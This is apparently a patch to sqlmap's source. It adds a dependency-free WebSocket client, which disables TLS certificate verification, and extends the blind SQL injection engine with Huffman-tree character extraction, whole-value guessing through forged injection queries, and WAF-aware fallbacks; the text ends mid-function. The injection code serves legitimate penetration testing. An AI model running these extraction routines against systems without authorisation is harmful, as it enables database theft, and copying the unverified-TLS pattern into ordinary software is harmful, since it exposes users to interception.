# Native, dependency-free WebSocket client (RFC 6455), replacing the 'websocket-client' third-party
|
||||
# library. Covers exactly what sqlmap needs: the client handshake, masked text framing, wss (TLS) and
|
||||
# the recv/timeout surface. It also removes the long-standing ambiguity with the unrelated 'websocket'
|
||||
# PyPI package (both expose a top-level 'websocket' module). Pure standard library, Python 2.7 / 3.x.
|
||||
|
||||
import base64
|
||||
import hashlib
|
||||
import os
|
||||
import socket
|
||||
import ssl
|
||||
import struct
|
||||
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getText
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
|
||||
_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" # RFC 6455 magic value for the accept key
|
||||
|
||||
OPCODE_CONTINUATION = 0x0
|
||||
OPCODE_TEXT = 0x1
|
||||
OPCODE_BINARY = 0x2
|
||||
OPCODE_CLOSE = 0x8
|
||||
OPCODE_PING = 0x9
|
||||
OPCODE_PONG = 0xA
|
||||
|
||||
class WebSocketException(Exception):
|
||||
pass
|
||||
|
||||
class WebSocketTimeoutException(WebSocketException):
|
||||
pass
|
||||
|
||||
class WebSocketConnectionClosedException(WebSocketException):
|
||||
pass
|
||||
|
||||
class WebSocket(object):
|
||||
"""
|
||||
Minimal RFC 6455 client exposing the websocket-client subset used by sqlmap: settimeout(), connect(),
|
||||
send(), recv(), close(), the handshake .status and getheaders()
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.sock = None
|
||||
self.status = None
|
||||
self._headers = {}
|
||||
self._timeout = None
|
||||
self._buffer = b""
|
||||
self._closed = False
|
||||
|
||||
def settimeout(self, timeout):
|
||||
self._timeout = timeout
|
||||
if self.sock is not None:
|
||||
self.sock.settimeout(timeout)
|
||||
|
||||
def connect(self, url, header=None, cookie=None):
|
||||
parts = _urllib.parse.urlsplit(url)
|
||||
secure = parts.scheme == "wss"
|
||||
host = parts.hostname
|
||||
port = parts.port or (443 if secure else 80)
|
||||
resource = parts.path or "/"
|
||||
if parts.query:
|
||||
resource += "?%s" % parts.query
|
||||
|
||||
self.sock = socket.create_connection((host, port), timeout=self._timeout)
|
||||
if secure:
|
||||
self.sock = ssl._create_unverified_context().wrap_socket(self.sock, server_hostname=host)
|
||||
self.sock.settimeout(self._timeout)
|
||||
|
||||
hostport = "[%s]" % host if ":" in host else host # bracket IPv6 literals
|
||||
if port not in (80, 443):
|
||||
hostport = "%s:%d" % (hostport, port)
|
||||
|
||||
key = getText(base64.b64encode(os.urandom(16)))
|
||||
lines = ["GET %s HTTP/1.1" % resource,
|
||||
"Host: %s" % hostport,
|
||||
"Upgrade: websocket",
|
||||
"Connection: Upgrade",
|
||||
"Sec-WebSocket-Key: %s" % key,
|
||||
"Sec-WebSocket-Version: 13"]
|
||||
for _ in (header or ()):
|
||||
lines.append(_)
|
||||
if cookie:
|
||||
lines.append("Cookie: %s" % cookie)
|
||||
lines.extend(("", ""))
|
||||
self.sock.sendall(getBytes("\r\n".join(lines)))
|
||||
|
||||
self._readHandshake(key)
|
||||
|
||||
def _readHandshake(self, key):
|
||||
while b"\r\n\r\n" not in self._buffer:
|
||||
chunk = self._recvSome()
|
||||
if not chunk:
|
||||
raise WebSocketException("incomplete WebSocket handshake response")
|
||||
self._buffer += chunk
|
||||
|
||||
head, _, self._buffer = self._buffer.partition(b"\r\n\r\n")
|
||||
lines = getText(head).split("\r\n")
|
||||
|
||||
try:
|
||||
self.status = int(lines[0].split(" ", 2)[1])
|
||||
except (IndexError, ValueError):
|
||||
raise WebSocketException("malformed WebSocket handshake response")
|
||||
|
||||
for line in lines[1:]:
|
||||
name, _, value = line.partition(":")
|
||||
self._headers[name.strip().lower()] = value.strip()
|
||||
|
||||
if self.status != 101:
|
||||
raise WebSocketException("Handshake status %d" % self.status) # 'Handshake status' is matched in connect.py
|
||||
|
||||
accept = getText(self._headers.get("sec-websocket-accept", ""))
|
||||
expected = getText(base64.b64encode(hashlib.sha1(getBytes(key + _GUID)).digest()))
|
||||
if accept != expected:
|
||||
raise WebSocketException("invalid 'Sec-WebSocket-Accept' in handshake response")
|
||||
|
||||
def getheaders(self):
|
||||
return dict(self._headers)
|
||||
|
||||
def send(self, payload, opcode=OPCODE_TEXT):
|
||||
self._sendFrame(getBytes(payload), opcode)
|
||||
|
||||
def _sendFrame(self, data, opcode):
|
||||
length = len(data)
|
||||
frame = bytearray()
|
||||
frame.append(0x80 | opcode) # FIN set, single (unfragmented) frame
|
||||
|
||||
if length < 126:
|
||||
frame.append(0x80 | length) # client frames must set the mask bit
|
||||
elif length < 65536:
|
||||
frame.append(0x80 | 126)
|
||||
frame += struct.pack("!H", length)
|
||||
else:
|
||||
frame.append(0x80 | 127)
|
||||
frame += struct.pack("!Q", length)
|
||||
|
||||
mask = bytearray(os.urandom(4))
|
||||
frame += mask
|
||||
payload = bytearray(data)
|
||||
for i in range(length):
|
||||
payload[i] ^= mask[i % 4]
|
||||
frame += payload
|
||||
|
||||
try:
|
||||
self.sock.sendall(bytes(frame))
|
||||
except socket.timeout:
|
||||
raise WebSocketTimeoutException("timed out while sending data")
|
||||
except ssl.SSLError as ex:
|
||||
if "timed out" in str(ex).lower():
|
||||
raise WebSocketTimeoutException("timed out while sending data")
|
||||
raise
|
||||
|
||||
def recv(self):
|
||||
data = bytearray()
|
||||
while True:
|
||||
fin, opcode, payload = self._recvFrame()
|
||||
if opcode == OPCODE_CLOSE:
|
||||
self._closed = True
|
||||
raise WebSocketConnectionClosedException("WebSocket connection closed")
|
||||
elif opcode == OPCODE_PING:
|
||||
self._sendFrame(bytes(payload), OPCODE_PONG)
|
||||
continue
|
||||
elif opcode == OPCODE_PONG:
|
||||
continue
|
||||
|
||||
data += payload
|
||||
if fin:
|
||||
break
|
||||
|
||||
return getText(bytes(data))
|
||||
|
||||
def _recvFrame(self):
|
||||
header = bytearray(self._readStrict(2))
|
||||
fin = (header[0] >> 7) & 1
|
||||
opcode = header[0] & 0x0F
|
||||
masked = (header[1] >> 7) & 1
|
||||
length = header[1] & 0x7F
|
||||
|
||||
if length == 126:
|
||||
length = struct.unpack("!H", self._readStrict(2))[0]
|
||||
elif length == 127:
|
||||
length = struct.unpack("!Q", self._readStrict(8))[0]
|
||||
|
||||
mask = bytearray(self._readStrict(4)) if masked else None
|
||||
payload = bytearray(self._readStrict(length))
|
||||
if mask is not None: # servers must not mask, but unmask defensively
|
||||
for i in range(length):
|
||||
payload[i] ^= mask[i % 4]
|
||||
|
||||
return fin, opcode, payload
|
||||
|
||||
def _readStrict(self, count):
|
||||
while len(self._buffer) < count:
|
||||
chunk = self._recvSome()
|
||||
if not chunk:
|
||||
raise WebSocketConnectionClosedException("WebSocket connection closed")
|
||||
self._buffer += chunk
|
||||
|
||||
result, self._buffer = self._buffer[:count], self._buffer[count:]
|
||||
return result
|
||||
|
||||
def _recvSome(self):
|
||||
try:
|
||||
return self.sock.recv(8192)
|
||||
except socket.timeout:
|
||||
raise WebSocketTimeoutException("timed out while receiving data")
|
||||
except ssl.SSLError as ex:
|
||||
# Python 2 raises ssl.SSLError('The read operation timed out') instead of socket.timeout on a
|
||||
# TLS read timeout - which is exactly sqlmap's normal "read frames until timeout" path over wss
|
||||
if "timed out" in str(ex).lower():
|
||||
raise WebSocketTimeoutException("timed out while receiving data")
|
||||
raise
|
||||
|
||||
def close(self):
|
||||
if self.sock is not None:
|
||||
try:
|
||||
if not self._closed:
|
||||
self._sendFrame(struct.pack("!H", 1000), OPCODE_CLOSE) # normal closure
|
||||
except (socket.error, WebSocketException):
|
||||
pass
|
||||
try:
|
||||
self.sock.close()
|
||||
except socket.error:
|
||||
pass
|
||||
self.sock = None
|
||||
@@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
|
||||
|
||||
from __future__ import division
|
||||
|
||||
import heapq
|
||||
import re
|
||||
import time
|
||||
|
||||
@@ -19,10 +20,12 @@ from lib.core.common import decodeIntToUnicode
|
||||
from lib.core.common import filterControlChars
|
||||
from lib.core.common import getCharset
|
||||
from lib.core.common import getCounter
|
||||
from lib.core.common import getFileItems
|
||||
from lib.core.common import getPartRun
|
||||
from lib.core.common import getTechnique
|
||||
from lib.core.common import getTechniqueData
|
||||
from lib.core.common import goGoodSamaritan
|
||||
from lib.core.common import openFile
|
||||
from lib.core.common import predictValue
|
||||
from lib.core.common import hashDBRetrieve
|
||||
from lib.core.common import hashDBWrite
|
||||
from lib.core.common import incrementCounter
|
||||
@@ -33,6 +36,7 @@ from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.data import queries
|
||||
from lib.core.enums import ADJUST_TIME_DELAY
|
||||
from lib.core.enums import CHARSET_TYPE
|
||||
@@ -41,6 +45,17 @@ from lib.core.enums import PAYLOAD
|
||||
from lib.core.exception import SqlmapThreadException
|
||||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||
from lib.core.settings import CHAR_INFERENCE_MARK
|
||||
from lib.core.settings import HUFFMAN_PROBE_LIMIT
|
||||
from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS
|
||||
from lib.core.settings import CATALOG_IDENTIFIERS_PRIOR_PEAK
|
||||
from lib.core.settings import DUMP_CHARSET_STABLE_ROWS
|
||||
from lib.core.settings import LOW_CARDINALITY_MAX_GUESSES
|
||||
from lib.core.settings import LOW_CARDINALITY_THRESHOLD
|
||||
from lib.core.settings import NAME_PREDICTION_CONTEXTS
|
||||
from lib.core.settings import NAME_MARKOV_ORDER
|
||||
from lib.core.settings import ORACLE_LITMUS_CHECK_EVERY
|
||||
from lib.core.settings import PREDICTION_FEEDBACK_MAX_ITEMS
|
||||
from lib.core.settings import PREDICTION_FEEDBACK_MAX_LENGTH
|
||||
from lib.core.settings import INFERENCE_BLANK_BREAK
|
||||
from lib.core.settings import INFERENCE_EQUALS_CHAR
|
||||
from lib.core.settings import INFERENCE_GREATER_CHAR
|
||||
@@ -64,6 +79,178 @@ from lib.utils.safe2bin import safecharencode
|
||||
from lib.utils.xrange import xrange
|
||||
from thirdparty import six
|
||||
|
||||
# Sentinel returned by the opt-in Huffman retrieval (--huffman) meaning "this character is
|
||||
# outside the ASCII model (e.g. multi-byte/Unicode) - defer to the classic bisection".
|
||||
_HUFFMAN_FALLBACK = object()
|
||||
|
||||
# Cache of character-level Markov priors keyed by (order, scale, dbms); built once per process
|
||||
_huffmanPriorCache = {}
|
||||
|
||||
def normalizedExpression(expression):
|
||||
"""
|
||||
Row-independent form of a per-row retrieval expression: the paginated offset/limit that varies
|
||||
from row to row is masked so every row of the same column maps to a single key. Used to group a
|
||||
column's values for low-cardinality guessing and for its per-column online Huffman model.
|
||||
|
||||
>>> normalizedExpression("SELECT name FROM users LIMIT 3,1") == normalizedExpression("SELECT name FROM users LIMIT 7,1")
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = expression
|
||||
|
||||
for pattern in (r"\bLIMIT\s+\d+\s*,\s*\d+", r"\bLIMIT\s+\d+\s+OFFSET\s+\d+", r"\bOFFSET\s+\d+", r"\bLIMIT\s+\d+", r"\bROWNUM\b\s*[<>=]+\s*\d+", r"\bTOP\s+\d+", r"\bFETCH\s+(?:FIRST|NEXT)\s+\d+"):
|
||||
retVal = re.sub(pattern, lambda match: re.sub(r"\d+", "?", match.group(0)), retVal, flags=re.I)
|
||||
|
||||
return retVal
|
||||
|
||||
def getHuffmanPrior(order, scale, dbms=None):
|
||||
"""
|
||||
Character-level order-N Markov model {context: {ordinal: count}} used to warm the Huffman
|
||||
set-membership tree during blind NAME enumeration (so it predicts from the first character rather
|
||||
than cold). Trained on the app-identifier wordlists (common-tables/common-columns) plus, when the
|
||||
back-end is fingerprinted, the system/catalog identifiers harvested for that DBMS (from the matching
|
||||
[<DBMS>] section of catalog-identifiers.txt - a single global model dilutes across dialects).
|
||||
Per-context counts are scaled to a peak of `scale`. Retrieval is correct regardless of this model.
|
||||
"""
|
||||
|
||||
if (order, scale, dbms) in _huffmanPriorCache:
|
||||
return _huffmanPriorCache[(order, scale, dbms)]
|
||||
|
||||
prior = {}
|
||||
names = []
|
||||
|
||||
for path in (paths.COMMON_COLUMNS, paths.COMMON_TABLES):
|
||||
try:
|
||||
names.extend(getFileItems(path))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if dbms:
|
||||
try:
|
||||
with openFile(paths.CATALOG_IDENTIFIERS, "r", errors="ignore") as f:
|
||||
section = None
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line or line.startswith('#'):
|
||||
continue
|
||||
if line.startswith('[') and line.endswith(']'):
|
||||
section = line[1:-1]
|
||||
elif section == dbms:
|
||||
names.append(line)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
for name in names:
|
||||
terminated = name + "\x00"
|
||||
for i in xrange(len(terminated)):
|
||||
ordinal = ord(terminated[i])
|
||||
if ordinal < 128:
|
||||
counts = prior.setdefault(terminated[max(0, i - order):i], {})
|
||||
counts[ordinal] = counts.get(ordinal, 0) + 1
|
||||
|
||||
for counts in prior.values():
|
||||
peak = max(counts.values()) or 1
|
||||
for ordinal in counts:
|
||||
counts[ordinal] = max(1, int(round(counts[ordinal] * float(scale) / peak)))
|
||||
|
||||
_huffmanPriorCache[(order, scale, dbms)] = prior
|
||||
return prior
|
||||
|
||||
def contextWeights(model, prior, order, prefix):
|
||||
"""
|
||||
Combined next-character weights P(next | last `order` chars) from the per-run online `model` plus
|
||||
the optional shipped Markov `prior`, backing off to shorter contexts (Katz-style) when the deepest
|
||||
context has not been seen yet. The online model is snapshotted under kb.locks.prediction because
|
||||
value-parallel workers may mutate it concurrently (a bare iteration could otherwise raise).
|
||||
"""
|
||||
|
||||
weights = {}
|
||||
context = prefix[-order:] if order > 0 else ""
|
||||
|
||||
while True:
|
||||
with kb.locks.prediction:
|
||||
online = dict(model.get(context) or ())
|
||||
for source in (online, prior.get(context) if prior is not None else None):
|
||||
if source:
|
||||
for symbol, count in source.items():
|
||||
weights[symbol] = weights.get(symbol, 0) + count
|
||||
|
||||
if weights or not context:
|
||||
break
|
||||
|
||||
context = context[1:]
|
||||
|
||||
return weights
|
||||
|
||||
def valueMatchCondition(expressionUnescaped, value):
|
||||
"""
|
||||
Boolean SQL that is TRUE iff (expressionUnescaped) equals the whole `value` (extracted so far as a
|
||||
string), or None when a whole-value equality cannot be trusted and the caller must fall back to
|
||||
per-character extraction. Used by low-cardinality guessing and by the value-parallel self-verification.
|
||||
|
||||
Returns None for values containing non-ASCII characters: those are extracted correctly byte-wise by
|
||||
the classic bisection, but a single quoted/CHAR()-encoded literal may not round-trip to the same
|
||||
bytes on every back-end, so a whole-value "=" could spuriously miss (and, for verification, drive a
|
||||
needless re-extraction). ASCII values compare reliably.
|
||||
|
||||
On SQLite (dynamically typed) the dump's COALESCE(col, ...) wrapper loses column affinity, so for a
|
||||
numeric column "1 = '1'" is FALSE and the quoted form would never hit; there we ALSO test the bare-
|
||||
number form. That extra form is emitted ONLY for SQLite: on strictly-typed engines (e.g. PostgreSQL)
|
||||
"text = 1" is a hard type error that would abort the whole boolean, and there the expression is already
|
||||
text-cast so the quoted form matches anyway. Correctness is unaffected either way - this only decides
|
||||
whether a whole-value shortcut hits or falls back to per-character extraction.
|
||||
|
||||
>>> valueMatchCondition("q", "abc").count("OR")
|
||||
0
|
||||
>>> valueMatchCondition("q", u"caf\\xe9") is None
|
||||
True
|
||||
"""
|
||||
|
||||
if value is None or any(ord(_) >= 128 for _ in value):
|
||||
return None
|
||||
|
||||
quoted = unescaper.escape("'%s'" % value) if "'" not in value else unescaper.escape("%s" % value, quote=False)
|
||||
condition = "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, quoted)
|
||||
|
||||
if re.match(r"\A-?\d+(\.\d+)?\Z", value) and Backend.getIdentifiedDbms() == DBMS.SQLITE:
|
||||
condition = "(%s OR (%s)%s%s)" % (condition, expressionUnescaped, INFERENCE_EQUALS_CHAR, value)
|
||||
|
||||
return condition
|
||||
|
||||
def oracleReliabilityLitmus(expressionUnescaped, value, timeBasedCompare):
|
||||
"""
|
||||
Known-answer differential health-check on the inference oracle, using the value just extracted.
|
||||
Fires TWO probes on the SAME cell: "(expr) = value" (must be TRUE) and "(expr) = <value with one
|
||||
character corrupted>" (must be FALSE). A healthy oracle answers TRUE/FALSE; an always-true channel
|
||||
(e.g. a WAF returning 200 for everything, a reads-everything-true endpoint) trips the FALSE probe,
|
||||
and a flaky/degraded one trips either - so silent data corruption becomes a detectable signal.
|
||||
|
||||
Returns True if the oracle behaved consistently (or the check is not applicable), False on a detected
|
||||
inconsistency. Skips (returns True) for values valueMatchCondition() cannot reliably compare (non-ASCII).
|
||||
"""
|
||||
|
||||
if not value or valueMatchCondition(expressionUnescaped, value) is None:
|
||||
return True
|
||||
|
||||
# a definitely-different copy: flip the last character to a neighbour that cannot equal it
|
||||
corrupt = value[:-1] + ("a" if value[-1] != "a" else "b")
|
||||
corruptCondition = valueMatchCondition(expressionUnescaped, corrupt)
|
||||
if corruptCondition is None:
|
||||
return True
|
||||
|
||||
try:
|
||||
truthy = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, valueMatchCondition(expressionUnescaped, value))))
|
||||
mustBeTrue = Request.queryPage(agent.payload(newValue=truthy), timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
|
||||
falsy = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, corruptCondition)))
|
||||
mustBeFalse = Request.queryPage(agent.payload(newValue=falsy), timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
except Exception:
|
||||
return True # a transient hiccup is not evidence of an unreliable oracle
|
||||
|
||||
return bool(mustBeTrue) and not bool(mustBeFalse)
|
||||
|
||||
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
|
||||
"""
|
||||
Bisection algorithm that can be used to perform blind SQL injection
|
||||
@@ -75,16 +262,21 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
partialValue = u""
|
||||
finalValue = None
|
||||
retrievedLength = 0
|
||||
columnKey = None
|
||||
|
||||
if payload is None:
|
||||
return 0, None
|
||||
|
||||
if charsetType is None and conf.charset:
|
||||
asciiTbl = sorted(set(ord(_) for _ in conf.charset))
|
||||
# conf.charset is fixed for the whole run; compute the table once, not per bisection() call
|
||||
if kb.cache.charsetAsciiTbl is None:
|
||||
kb.cache.charsetAsciiTbl = sorted(set(ord(_) for _ in conf.charset))
|
||||
asciiTbl = kb.cache.charsetAsciiTbl
|
||||
else:
|
||||
asciiTbl = getCharset(charsetType)
|
||||
|
||||
threadData = getCurrentThreadData()
|
||||
threadData.lowCardHit = False # set when this value is confirmed by the (self-verifying) low-card guess
|
||||
timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
|
||||
retVal = hashDBRetrieve(expression, checkConf=True)
|
||||
|
||||
@@ -127,13 +319,14 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
expression = match.group(2).strip()
|
||||
|
||||
try:
|
||||
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
|
||||
if conf.predictOutput:
|
||||
kb.partRun = getPartRun()
|
||||
elif conf.api:
|
||||
kb.partRun = getPartRun(alias=False)
|
||||
else:
|
||||
kb.partRun = None
|
||||
# kb.partRun tags the enumeration context so predictive inference (predictValue) fires for BOTH
|
||||
# the value-parallel and the classic serial name-enumeration paths. It is derived from the call
|
||||
# stack here (alias form for prediction; raw for API/JSON tagging); the derivation only overwrites
|
||||
# when it finds a match, so it does NOT clobber the context the value-parallel helper set for its
|
||||
# worker threads (whose call stack does not include the enumeration method -> getPartRun is None).
|
||||
derivedPartRun = getPartRun(alias=not (conf.api or conf.reportJson))
|
||||
if derivedPartRun is not None:
|
||||
kb.partRun = derivedPartRun
|
||||
|
||||
if partialValue:
|
||||
firstChar = len(partialValue)
|
||||
@@ -167,6 +360,60 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
else:
|
||||
expressionUnescaped = unescaper.escape(expression)
|
||||
|
||||
# Row-independent key for this column (pagination offset masked), grouping all of a column's
|
||||
# rows for low-cardinality guessing and for its own per-column online Huffman model.
|
||||
columnKey = normalizedExpression(expression) if dump else None
|
||||
|
||||
# Low-cardinality whole-value guessing: when the distinct values already seen for this column are
|
||||
# few (<= LOW_CARDINALITY_THRESHOLD), confirm the current cell by equality against each of them
|
||||
# (one request on a hit) before per-character extraction - a large win on the enum/flag/status/
|
||||
# category/type columns that dominate real tables. Self-verifying (a wrong candidate simply fails).
|
||||
# Especially valuable for TIME-BASED blind: a hit confirms the whole value in a single delayed
|
||||
# request instead of ~7 delays/char x N chars. The repetition gate below ensures it only ever fires
|
||||
# on genuinely low-cardinality columns, so unique identifier names never pay a wasted probe/delay.
|
||||
if columnKey is not None and not partialValue:
|
||||
# Snapshot the shared cache under the lock (value-parallel workers may mutate it concurrently).
|
||||
with kb.locks.prediction:
|
||||
seen = dict(kb.lowCardCache.get(columnKey) or ())
|
||||
# Arm only once SOME value has repeated (max count >= 2): that is the proof the column is
|
||||
# low-cardinality, so an all-unique column (primary key, hash, free text) never spends a probe.
|
||||
# Once armed, try at most LOW_CARDINALITY_MAX_GUESSES candidates (most frequent first), so a
|
||||
# column that trips the threshold with many near-unique values wastes only a bounded number of
|
||||
# probes. A wrong guess costs one probe (self-verifying); a right one confirms the whole value.
|
||||
if seen and len(seen) <= LOW_CARDINALITY_THRESHOLD and max(seen.values()) >= 2:
|
||||
for candidate in sorted(seen, key=lambda value: -seen[value])[:LOW_CARDINALITY_MAX_GUESSES]:
|
||||
matchCondition = valueMatchCondition(expressionUnescaped, candidate)
|
||||
if matchCondition is None: # non-ASCII: no reliable whole-value equality, extract per-char
|
||||
continue
|
||||
forgedQuery = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, matchCondition)))
|
||||
hit = Request.queryPage(agent.payload(newValue=forgedQuery), timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
if hit and timeBasedCompare:
|
||||
# A single time-based boolean is noisy; confirm the whole-value hit with a
|
||||
# not-equals check (validateChar spirit) before trusting it, so timing jitter can
|
||||
# never ship a wrong low-cardinality value. Still ~2 delayed requests/value vs the
|
||||
# ~7-delays/char x N of full extraction.
|
||||
notEqualsQuery = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, "NOT(%s)" % matchCondition)))
|
||||
hit = not Request.queryPage(agent.payload(newValue=notEqualsQuery), timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
if hit:
|
||||
threadData.lowCardHit = True
|
||||
return getCounter(getTechnique()), candidate
|
||||
|
||||
# Model driving the Huffman set-membership tree. Name enumeration keys on the enumeration context
|
||||
# and is seeded with the fingerprinted back-end's identifier prior, so the tree predicts a name
|
||||
# from the first character (structured, low-entropy identifiers). A data dump uses a PER-COLUMN
|
||||
# order-0 model: each column learns its own character distribution, so a column restricted to few
|
||||
# characters (hex/uuid, digits, dates, a constant/NULL placeholder) is forced from those alone
|
||||
# (e.g. ~4 requests/char on hex instead of ~6, ~1 on a constant) with no cross-column dilution.
|
||||
# Order 0 needs no sequential prefix, so it works under the position-parallel (per-value) threads
|
||||
# too; a higher-order per-column model was measured to lose to its own cold-start, so order 0 it is.
|
||||
if kb.partRun in NAME_PREDICTION_CONTEXTS:
|
||||
huffmanKey, huffmanOrder = kb.partRun, NAME_MARKOV_ORDER
|
||||
huffmanPrior = getHuffmanPrior(NAME_MARKOV_ORDER, CATALOG_IDENTIFIERS_PRIOR_PEAK, Backend.getIdentifiedDbms())
|
||||
else:
|
||||
huffmanKey, huffmanOrder, huffmanPrior = columnKey, 0, None
|
||||
|
||||
if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int):
|
||||
length = int(length)
|
||||
else:
|
||||
@@ -198,7 +445,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
else:
|
||||
numThreads = 1
|
||||
|
||||
if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)):
|
||||
if conf.threads == 1 and not timeBasedCompare:
|
||||
warnMsg = "running in a single-thread mode. Please consider "
|
||||
warnMsg += "usage of option '--threads' for faster data retrieval"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
@@ -266,10 +513,123 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
|
||||
return result
|
||||
|
||||
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
|
||||
def huffmanChar(idx):
|
||||
"""
|
||||
Adaptive retrieval of a single character using set-membership ("... IN (...)")
|
||||
questions driven by a Huffman tree built from an online frequency model of the data
|
||||
retrieved so far (used by default for blind table dumps; '--no-huffman' disables it).
|
||||
The expected number of requests approaches the
|
||||
data's entropy (fewer on text/hex), while uniform/binary data yields a balanced tree
|
||||
(i.e. no penalty versus the classic bisection).
|
||||
|
||||
Correctness does NOT depend on the (shared, racily updated) model: the tree is a
|
||||
decision tree over the whole 0..127 range plus a dedicated ESCAPE leaf. At every node
|
||||
the child that does NOT contain ESCAPE is the one tested, so any value outside 0..127
|
||||
(e.g. multi-byte/Unicode) fails every membership test, lands on ESCAPE and is handed
|
||||
back to the classic bisection. Returns the character, or None to fall back.
|
||||
"""
|
||||
ESCAPE = -1
|
||||
model = kb.huffmanModel.setdefault(huffmanKey, {})
|
||||
threadData = getCurrentThreadData()
|
||||
|
||||
# Next-character weights P(next | last huffmanOrder chars) from this retrieval's own online
|
||||
# model plus, for name enumeration, the shipped identifier prior (so the tree is warm from the
|
||||
# first character); order 0 collapses to the classic single-context adaptive model. Retrieval
|
||||
# is correct regardless of the weights (the tree spans the whole range plus an ESCAPE leaf), so
|
||||
# the model - even raced under threads - only ever affects speed, never the returned value.
|
||||
context = partialValue[-huffmanOrder:] if huffmanOrder > 0 else ""
|
||||
weights = contextWeights(model, huffmanPrior, huffmanOrder, partialValue)
|
||||
|
||||
heap = []
|
||||
for order, ordinal in enumerate(xrange(128)):
|
||||
heapq.heappush(heap, (weights.get(ordinal, 0) + HUFFMAN_PRIOR_WEIGHTS.get(ordinal, 1), order, (ordinal,)))
|
||||
heapq.heappush(heap, (max(weights.get(ESCAPE, 0), 1), 128, (ESCAPE,)))
|
||||
|
||||
counter = 129
|
||||
while len(heap) > 1:
|
||||
w1, _, n1 = heapq.heappop(heap)
|
||||
w2, _, n2 = heapq.heappop(heap)
|
||||
heapq.heappush(heap, (w1 + w2, counter, (n1, n2)))
|
||||
counter += 1
|
||||
node = heap[0][2]
|
||||
|
||||
def _concrete(n):
|
||||
if len(n) == 1:
|
||||
return [] if n[0] == ESCAPE else [n[0]]
|
||||
return _concrete(n[0]) + _concrete(n[1])
|
||||
|
||||
def _hasEscape(n):
|
||||
return n[0] == ESCAPE if len(n) == 1 else (_hasEscape(n[0]) or _hasEscape(n[1]))
|
||||
|
||||
template = payload.replace("%s%s" % (INFERENCE_GREATER_CHAR, "%d"), " IN (%s)", 1)
|
||||
|
||||
while len(node) == 2:
|
||||
left, right = node
|
||||
|
||||
if _hasEscape(left):
|
||||
testNode, otherNode = right, left
|
||||
elif _hasEscape(right):
|
||||
testNode, otherNode = left, right
|
||||
else:
|
||||
leftLeaves, rightLeaves = _concrete(left), _concrete(right)
|
||||
testNode, otherNode = (left, right) if len(leftLeaves) <= len(rightLeaves) else (right, left)
|
||||
|
||||
testSet = _concrete(testNode)
|
||||
setExpr = ','.join(str(_) for _ in testSet)
|
||||
forgedPayload = safeStringFormat(template, (expressionUnescaped, idx, setExpr))
|
||||
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
|
||||
# Guard against target-side length limits / WAFs that reject the (potentially long)
|
||||
# "IN (...)" list: an HTTP error code that is not the technique's own true/false code means
|
||||
# this membership query was rejected (e.g. 414 URI Too Long, 413, 400, 403), so the walk
|
||||
# cannot be trusted. Abandon it and hand the character to the classic short-query ('>' / '=')
|
||||
# bisection, which re-extracts and validates it; the escape counter in getChar() latches
|
||||
# Huffman off (kb.disableHuffman) if the rejection keeps happening. Gated on >= 400 so a
|
||||
# normal content-based (200/200) response never trips it.
|
||||
if not timeBasedCompare and threadData.lastCode is not None and threadData.lastCode >= 400 and (getTechniqueData() is None or threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode)):
|
||||
return _HUFFMAN_FALLBACK
|
||||
|
||||
node = testNode if result else otherNode
|
||||
|
||||
value = node[0]
|
||||
|
||||
if value == ESCAPE:
|
||||
with kb.locks.prediction:
|
||||
model.setdefault(context, {})[ESCAPE] = model.setdefault(context, {}).get(ESCAPE, 0) + 1
|
||||
return _HUFFMAN_FALLBACK
|
||||
|
||||
if value == 0:
|
||||
# ORD(MID(..)) of an empty (past end-of-string) character is 0; mirror the classic
|
||||
# bisection and signal end-of-string (do NOT pollute the model with the sentinel).
|
||||
return None
|
||||
|
||||
# One-time safety validation: cross-check the first set-membership result with a short
|
||||
# equality probe. Unlike the long IN() lists, a single '=N' comparison cannot be
|
||||
# truncated/mangled by a parameter-length limit or a WAF, so it is a trustworthy oracle.
|
||||
# If it disagrees, the IN() channel is unreliable here: latch the technique off so the
|
||||
# classic '>' bisection takes over for the rest of the run (graceful fallback).
|
||||
if not kb.huffmanValidated:
|
||||
